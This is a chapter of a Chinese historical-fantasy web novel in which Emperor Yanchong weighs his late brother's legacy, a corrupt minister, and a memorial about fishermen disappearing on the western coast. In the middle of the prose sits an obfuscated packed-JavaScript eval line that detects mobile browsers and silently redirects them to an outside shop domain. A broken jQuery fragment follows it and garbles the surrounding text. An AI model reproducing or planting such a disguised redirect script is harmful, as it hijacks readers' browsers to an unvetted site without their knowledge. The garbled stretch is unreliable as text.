这个问题问得很轻，像是随口提起的闲话。但张良辰知道这个问题一点都不闲。
他斟酌了片刻，缓缓开口：“先太子殿下……如果还在，大概会把那份折子亲自拿到内阁去，当着所有人的面念一遍，然后问‘存档’是什么意思。”
炎崇帝没有说话。他低头看着杯底残余的茶叶，那几片叶子在茶汤里沉沉浮浮，像在杯底打了个转又浮上来。
他的皇兄，炎夏先太子，比他大十一岁。在炎崇帝还只是个穿着开裆裤在宫里追猫的年纪，他皇兄已经开始跟着父皇听政。那是个极有锋芒的人——像三百年前的炎武帝，一样的锐利、一样的果决、一样的不怕得罪人。父皇在世的时候常说“太子有乃祖之风”，朝臣们私下也承认，先太子如果顺利继位，大炎的朝堂大概会比现在干净不少。
但先太子没继位。他在三十一岁那年冬天染了一场急病，从发病到离世不过五天。那场病来得太猛、去得太快，快到来不及让人细想它到底是不是‘急病’。父皇在太子去世之后一病不起，拖了一年多也走了。然后将二十一岁的游散贤王元星弘推上帝位。
坐上去那天，满朝文武跪了一地，都在喊‘陛下万岁’。他在那些声音里抬头看了一眼满殿乌压压的人头，心里想的是：这些人里，有多少是真心觉得他能坐稳这把椅子？
“张大人，”炎崇帝放下茶杯，“你说，如果皇兄当年登基，孟津南还会是次辅吗？”
张良辰沉默了一会儿。
“孟大人是先帝晚年提拔上来的，以先太子的性子——”他没有说完，但意思已经很清楚。
“以他的性子，大概会把孟津南从内阁踢出去，踢得远远的，踢到某个角落里让他修一辈子地方志。”炎崇帝说，“他做得出来这种事。他做了，还不会有人敢吭声。”
“但陛下不是先太子殿下。”张良辰说。
“对。”
炎崇帝靠在椅背里，望着对面的书架，目光落在书架第三层那一排整整齐齐的《大炎律》上，像在看什么很远的东西，“我不是他。没有他的胆子，也没有他的底气。我知道那些人是什么人，但我在没有摸清楚他们的底之前，我不能动。”
也不敢动！
他把目光从书架上收回来，重新落回案上的公文堆里。
那堆公文堆得有半尺多高，每一份都像一块砖，垒在一起，砌成了一堵围着他的墙。
“陛下。”张良辰往前迈了半步，“臣有一句话，不知当讲不当讲。”
“说。”
“先太子殿下的锐气，是陛下没有的。”张良辰的声音不高，但每个字都落得很清楚，“但陛下有的东西，先太子殿下也没有。”
“什么？”
“等。”张良辰说，“先太子殿下等不了，他看见不对的就要立刻改。但陛下能等。陛下等了三年多，等到了宋远山递这份折子。宋远山等了十四年才递这份折子，是因为他不确定递上去之后有没有人看。但现在他递了。他知道有人会看。”
炎崇帝看着张良辰。他看了一会儿，然后把窗台上那份折子拿回来，重新放到了御案上。他没有批，但把它从‘待阅’那摞移到了‘已阅’那摞，并且放在了最上面。
“你说得对。”他说，“我再等等。”
张良辰躬身行了一礼：“陛下英明。”
“行了，你回去吧。不早了。”
张良辰退出了御书房。门在他身后合拢，脚步声沿着宫廊渐渐远去。
炎崇帝独自坐在案后，又拿起一份新的折子翻开，看了两行，放下。他把目光移向窗外——御书房的窗户朝南，从这个角度看出去，能看到上京城夜色中的一片屋脊，密密麻麻的，像一排排沉默的人影。
他看了一会儿那片屋脊，收回目光，低头翻开第三份折子。那是一份礼部递上来的例行公文，写的是明年春祭的章程。他把那份公文从头到尾看了一遍，在末尾批了一个‘阅’字，搁在了一旁。
窗外，远处的宫墙底下，一盏提灯正沿甬道缓缓移动。那盏灯走得很慢，像是提灯的人在想什么事情。炎崇帝看着那盏灯在夜色中走过了两段宫墙，拐了个弯，被屋檐挡住了，看不见了。他把目光收回来，重新拿起案上那份宋远山的折子，又看了一遍。
折子里有一句话他第一次看的时候没有太在意，此刻第二次看，他注意到了。那句话是：“臣尝闻，西海近岁有异事，渔户或无故失踪，或举家搬迁。地方官以‘海潮失足’录案，未有深究。”他在这行字上停了一会儿，用手指轻轻按了按纸面，然后合上了折子。
他把这份折子没有放回‘已阅’那摞，而是单独抽出来，搁在了案角一个不起眼的位置。那个位置离灯盏最远，光线偏暗，不仔细看不会注意到那里还放着一份折子。
又坐了一会儿，然后站起来，走到墙边那张挂着舆图的大板前面。舆图上画着大炎九州十三郡的全境，山川河流、城池关隘都标得清清楚楚。他的目光从图上慢慢地移动，从上京出发，一路向西，越过几道山脉和河流，最后落在西海沿岸那一片细长的海岸线上。那片海岸线在地图上画得很细，细到能看见几处渔村的名字。
他在那里看了大约一盏茶的工夫，然后转身走回御案边，吹熄了最左边那盏灯，接着是第二盏，第三盏。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17806231|210736||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
御书房暗了下来，只剩窗外的月光隔着窗纸透进来，在地面上铺了一层薄薄的白。他站在黑暗中，又往那张舆图的方向看了一眼，然后拿起案角那份折子，放进了袖中。
他推开御书房的门，走了出去。门口的侍从立刻躬身迎上来：“陛下，回寝宫？”
“嗯。”
沿着宫廊往寝宫方向走，步子不快不慢，袖中的那份折子贴着里衣的布料，边角硌着肋骨，不太舒服，但他没有换手。路过的每一盏宫灯都把他的影子投在地上，拉长、缩短、又拉长，像一个不断变换形状的墨团。
走了大约一盏茶的工夫，回到寝宫门口时，他停了一下，侧过头对身边那个老太监说了一句：“你明天去一趟吏部，告诉宋远山——他那份折子朕看过了。”
“是。”
“就说……”炎崇帝想了想，“就说朕觉得他写得不错。”
“是。”
他推门进了寝宫。门合上之后，他袖中那份折子的边角仍然硌着他的肋骨。他没有拿出来，就这么带着那一点硌人的触感，躺进了龙床里，闭上了眼睛。
远处，上京城东南角的一座宅子里，最后一盏灯也熄了。那座宅子门口挂着一块匾，匾上写着“孟府“两个字，在夜色里看不清颜色，但轮廓是清晰完整的。府内书房的灯灭了有一阵子了，窗后的黑暗安安静静，像一口没有波澜的井。而在那口‘井’的底部，一个人的眼睛正在黑暗中睁开，又合上了。
第二天早朝，炎崇帝在高高的龙椅上坐定，目光从满殿俯首的官员头顶扫过去时，神情如常。他听了几件事，批了几件，散朝时站了起来，像每一天一样稳步走向后殿。没有人知道他袖中那份折子从昨晚起就一直贴着里衣，没有人知道他站在舆图前望着西海海岸线的那一盏茶的工夫里，脑子转了些什么。
只有他自己知道，那份折子的边角硌得他肋骨发疼。但他没有拿出来。
当夜，御书房的灯又亮到了子时。炎崇帝坐在案后，面前摊着一幅比墙上那幅更小的舆图——那幅图是他自己画的，画的是西海沿岸那一百多里的详细海岸线。渔村的位置、水井的分布、往内陆延伸的官道和山路，全都标得比朝廷的正式舆图更细。
他在图上一处标着‘石塘村’的位置画了个小圈，然后在旁边写了一个字：‘井。’
写完这个字之后，他把那幅小舆图叠好，收进书案最下层那只上了锁的抽屉里。他把锁扣按下时，指尖微微用了些力。那声音在空旷的御书房里回响了一瞬，然后被夜风和远处隐约的梆子声吞没了。窗外，上京城的夜色沉得像一缸隔了年的陈墨，翻不动，也透不过光。